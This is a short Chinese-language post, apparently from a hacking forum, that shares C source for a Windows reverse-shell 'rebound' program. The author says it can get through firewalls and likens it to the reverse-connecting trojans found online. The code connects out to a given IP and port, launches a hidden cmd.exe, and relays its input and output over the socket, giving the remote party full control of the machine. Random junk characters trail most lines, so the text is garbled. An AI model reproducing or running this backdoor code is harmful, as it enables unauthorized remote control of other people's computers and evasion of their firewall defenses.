这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %0L9)-R
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/* ============================== }z}oVc
Rebound port in Windows NT v=!]t=P)t
By wind,2006/7 0Nmd*r
===============================*/ K?) &8S
#include Y}PI{PN
#include E;k'bz
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#pragma comment(lib,"wsock32.lib") .QW89e,O3
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void OutputShell(); cO'
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SOCKET sClient; fxjs"rD5
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }.x?$C+\"
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void main(int argc,char **argv) XJGOX
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{ 4~D?F'o
WSADATA stWsaData; d&F8nBIM5
int nRet; ^ [2A<
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SOCKADDR_IN stSaiClient,stSaiServer; I
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if(argc != 3) Ig~lD>dnr'
{ Or0=:?4`
printf("Useage:\n\rRebound DestIP DestPort\n");
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return; Ye T[KjX
} phd,Jg[
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WSAStartup(MAKEWORD(2,2),&stWsaData); g$~ktr+%
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \It8+^d@
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stSaiClient.sin_family = AF_INET; 2ACN5lyUS
stSaiClient.sin_port = htons(0); L'.7V ~b{
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 525W;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }! x\qpA
{ YuFJJAJ
printf("Bind Socket Failed!\n"); u`3J2,.
return; 4Z,MqG>
} 3 cu`U`
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stSaiServer.sin_family = AF_INET; lo Oh }y+
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); J;HkR9<C
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); eVS6#R]'m
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2/3,%5j_
{ uL`;KD
printf("Connect Error!"); b|P[\9
return;
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} IZ/+RO n
OutputShell(); *Mgl X<
} ~J)_S'
#
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void OutputShell() 2eK!<Gj
{ z1K@AaRx
char szBuff[1024]; f%;8]a9
SECURITY_ATTRIBUTES stSecurityAttributes; OW;]=k/(
OSVERSIONINFO stOsversionInfo; u,I_p[`E
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0"#'Z>"
STARTUPINFO stStartupInfo; NJRk##Z
char *szShell; _SY4Qs`d
PROCESS_INFORMATION stProcessInformation; +iY .Y V
unsigned long lBytesRead; R.-2shOE'
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); fYBmW')
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); x\T 9V~8a
stSecurityAttributes.lpSecurityDescriptor = 0; jhl9
stSecurityAttributes.bInheritHandle = TRUE; /_rEI,[k
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3 -Nwg9U
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); B&3oo
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L)p*D(
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MOi.bHCQJP
stStartupInfo.wShowWindow = SW_HIDE; .SzPig
stStartupInfo.hStdInput = hReadPipe; ',$Uw|N
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5[suwaJQ
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GetVersionEx(&stOsversionInfo); c6 VfFt6p
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switch(stOsversionInfo.dwPlatformId) a\;Vly;
{ Q]?r&%Y
case 1: ;6P#V`u
szShell = "command.com"; ,T&=*q
break; OeLM*Zi
default: d^p af
szShell = "cmd.exe"; o."k7fLB
break; 84 5a%A$
} w/&)mm{
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Y>W$n9d&G2
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send(sClient,szMsg,77,0); Jas=D
while(1) P@lDhzd
{ u_ou,RF
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )IQ5Qu
if(lBytesRead) bS7rG$n [
{ S5'ZKk
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~QzUQYG*
send(sClient,szBuff,lBytesRead,0); nK[T.?Nz
} PxE 0b0eo
else 8$9Q=M
{ |[qq
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lBytesRead=recv(sClient,szBuff,1024,0); Z1Y/2MVSb
if(lBytesRead<=0) break; PW7{,1te,
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); RI.6.f1dy
} ;J[ed>v;3
} /q[5-96c
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return; max 5s$@
}